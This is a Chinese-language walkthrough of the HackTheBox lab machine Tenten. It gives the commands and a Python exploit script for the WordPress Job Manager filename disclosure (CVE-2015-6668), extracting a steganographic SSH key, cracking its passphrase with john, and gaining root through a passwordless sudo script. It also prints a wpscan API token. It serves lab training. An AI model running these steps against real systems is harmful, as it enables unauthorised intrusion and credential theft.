Tenten 是一个中等难度的靶机,知识点涉及 WordPress 插件利用、SSH 密钥爆破、SSH 私钥登录、sudo 提权等。感兴趣的同学可以在HackTheBox中进行学习。
通关思维导图
首先使用 nmap 进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.10 -oA nmap_Tenten
扫描结果显示目标仅开放22、80端口
访问重定向至tenten.htb
,因此需在 hosts 文件中配置域名解析
vim /etc/hosts
#配置
10.10.10.10 tenten.htb
再次访问页面如下,站点采用模版是 WordPress,其标题为 Job Potral
网站中只有默认模板Hello world
点击Job Listing
可进入工作介绍,目前正在招聘的职位是渗透测试
点击Apply Now
可填写简历,其中包含姓名、邮箱、住址等信息
http://tenten.htb/index.php/jobs/apply/8/
虽然存在文件上传点,但上传 PHP 脚本文件后提交简历会出错
尝试将提交简历的网址中的8
修改为1
,标题由原来的Pen Tester
改为Hello World
http://tenten.htb/index.php/jobs/apply/1/
配合 grep、cut 命令进行筛选标题
curl -s http://tenten.htb/index.php/jobs/apply/8/ | grep "entry-title" | cut -d ">" -f2 | cut -d "<" -f1
编写脚本遍历网址中的数字
for i in $(seq 1 25); do echo -n "$i: "; curl -s http://tenten.htb/index.php/jobs/apply/$i/ | grep "entry-title" | cut -d ">" -f2 | cut -d "<" -f1;done
成功拿到以下几个标题:
1: Job Application: Hello world!
2: Job Application: Sample Page
3: Job Application: Auto Draft
5: Job Application: Jobs Listing
6: Job Application: Job Application
7: Job Application: Register
8: Job Application: Pen Tester
10: Job Application: Application
11: Job Application: cube
12: Job Application: Application
13: Job Application: HackerAccessGranted
14: Job Application: Application
WordPress 是一款开源的内容管理系统(CMS),可用于构建网站、博客和应用程序。它提供了一个用户友好的界面,方便用户创建和管理内容,并拥有丰富的插件和主题可扩展其功能。
使用 gobuster 对站点进行目录扫描,结果中只包含了 WordPress 的常见目录及文件
gobuster dir -u http://tenten.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 100 --no-error
使用 wpscan 对 WordPress 模版进行专项扫描,结果显示 WordPress 主题为twentyseventeen
wpscan --url http://tenten.htb --api-token Rjr3NLjvRw21PbkmvY6h4EI1uqS5wB9lzCpPiLziH3A -e
发现存在插件 Job Manager,其中存在两个漏洞,分别是 IDOR 和 XSS
同时还发现一个用户名takis
WordPress 作为世界上最受欢迎的网站构建平台之一,其中存在漏洞的点一般在插件当中,而在站点中只存在 Job Manager 插件。wpscan 发现 Job Manager 共存在两个漏洞,XSS 在当前环境没有什么利用价值,因此可重点关注 CVE-2015-6668,利用代码经修改后如下:
脚本地址:https://github.com/k4u5h41/CVE-2015-6668
import requestsprint """
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25
"""
website = raw_input('Enter a vulnerable website: ')
#filename = raw_input('Enter a file name: ')
filenames = ["Hello world!","Sample Page","Auto Draft","Jobs Listing","Job Application","Register","Pen Tester","Application","cube","HackerAccessGranted"]
for filename in filenames:
filename2 = filename.replace(" ", "-")
for year in range(2013,2018):
for i in range(1,13):
for extension in {'jpg','jpeg','docx'}:
URL = website + "/wp-content/uploads/" + str(year) + "/" + "{:02}".format(i) + "/" + filename2 + "." + extension
req = requests.get(URL)
if req.status_code==200:
print "[+] URL of CV found! " + URL
成功拿到地址并访问,该图片可能采用了隐写术
http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg
使用 steghide 分析图片,成功拿到id_rsa
steghide extract -sf HackerAccessGranted.jpg
一般而言id_rsa
在 SSH 中作为私钥使用
cat id_rsa
通过 ssh2john 把id_rsa
转换为哈希,以便使用 john 爆破
python /usr/share/john/ssh2john.py id_rsa
使用 john 进行爆破,成功拿到密码为superpassword
john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
尝试利用该私钥登录 SSH,首先赋予其 400 权限
chmod 400 id_rsa
使用私钥登录用户takis
,当然还要输入密码
ssh -i id_rsa [email protected]
在当前用户家目录中成功找到第一个flag
cat user.txt
检查当前用户sudo
权限,结果显示可使用 sudo 命令执行任意超级用户的权限,但前提是需要拥有当前用户的密码,只有以 sudo 运行/bin/fuckin
时无需输入密码
sudo -l
查看/bin/fuckin
,其内容为 Bash 脚本,存在四个可输入参数
cat /bin/fuckin
尝试运行程序fuckin
/bin/fuckin echo mac
由于 sudo 运行fuckin
无需密码,因此输入命令id
可查看当前权限为 root
sudo /bin/fuckin id
成功获取 root 的 shell
sudo /bin/fuckin /bin/bash
在/root
目录中成功拿到第二个flag
cat /root/root.txt
Tenten 译为两个十,可能取自 WordPress 的主题twentyseventeen
中的 twenty。通过信息收集发现目标站点采用的 CMS 为 WordPress,简单浏览网站可知站点的主要功能是工作照片。尝试利用 wpscan 扫描发现用户名 takis 和 WordPress 插件 Job Manager,插件中存在两个漏洞,分别是 XSS 以及 IDOR,针对 IDOR 漏洞枚举查找简历,最终成功找到一张使用隐写术的图片。
使用 steghide 分析后找到 SSH 私钥id_rsa
,由于该私钥无法直接使用且需要输入密码,通过 ssh2john 把私钥转换为可爆破的哈希值,最终使用 john 成功爆破拿到明文密码。利用该密码可完成 SSH 私钥登录,成功拿到用户权限。在服务器中检查当前用户的 sudo 权限,发现/bin/fuckin
无需密码便可通过 sudo 执行,因此 sudo 命令配合/bin/fuckin
可成功提权至 root 权限。